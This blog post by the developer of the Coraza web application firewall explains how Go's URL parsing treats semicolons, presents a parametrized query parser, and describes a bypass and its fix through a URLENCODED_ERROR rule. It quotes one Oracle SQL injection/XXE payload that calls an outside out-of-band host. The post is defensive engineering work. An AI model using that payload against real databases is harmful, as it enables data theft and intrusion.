Skip to content

URL parsing paradox

One of the main reasons I picked Golang to build Coraza was the extensive HTTP support libraries (net/http, net/url, mime/multipart, etc), but funny thing, they have been my worst enemies.

Apache and nginx http processors are not too strict and they allow mostly any kind of input, thus the requirement to create strict WAF rules to avoid exploits. Golang’s parsers are strict and they won’t allow anything outside of the RFC, specially when we talk about URLs. In this post I’m going to tell you how I build the Coraza URL processor and what are the current challenges.

Interesting fact, according to the original RFC ampersand(&) and semicolon (;) are both accepted as URL parameter separators for URL and urlencoded bodies. It was declared obsolete in 2014 but we live in a legacy world.

So golang implements the old standard, allowing you to mix ampersands and semicols and creating issues like:

/path?param1=value1;somedata

The previous statement would create the following JSON struct:

{
  "param1": ["value1"],
  "somedata: []
}

Another issue is that Coraza cookie processor is basically the same URL parser with semicolons instead of ampersands:

Cookie: somecookie=somevalue;somecookie2=somevalue2

In my attempt to correct this issue I took the code from golang 1.16 and replaced some fields to create a parametrized url parser, allowing me to use the same function for request urls, request bodies and cookies:

func ParseQuery(query string, separator string) map[string][]string {
	m := make(map[string][]string)
	for query != "" {
		key := query
		if i := strings.IndexAny(key, separator); i >= 0 {
			key, query = key[:i], key[i+1:]
		} else {
			query = ""
		}
		if key == "" {
			continue
		}
		value := ""
		if i := strings.Index(key, "="); i >= 0 {
			key, value = key[:i], key[i+1:]
		}
		key, err := url.QueryUnescape(key)
		if err != nil {
			continue
		}
		value, err = url.QueryUnescape(value)
		if err != nil {
			continue
		}
		m[key] = append(m[key], value)
	}
	return m
}

It all worked like charm until my old enemy (url encoded) came to the game with an unsupported payload that returns an empty map:

var=EmptyValue'||(select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % awpsd SYSTEM "http://0cddnr5evws01h2bfzn5zd0cm3sxvrjv7oufi4.example'||'foo.bar/">%awpsd;

So the previous HTTP body will create a nil map of arguments and an exception for the %aw character, which means Coraza will just ignore this payload, creating a bypass vulnerability.

I fixed this by catching url encoding errors and setting the URLENCODED_ERROR variable for cookies, request body and urls, this means we rely on the following rule to ensure everything is safe:

SecRule &URLENCODED_ERROR "!@eq 0" "phase:2,id: 100,log,msg:'Failed to parse url %{URLENCODED_ERROR}'"

Final words

Don’t rely too much on the golang’s framework, it’s just not for everyone.

Leave a Reply

Your email address will not be published. Required fields are marked *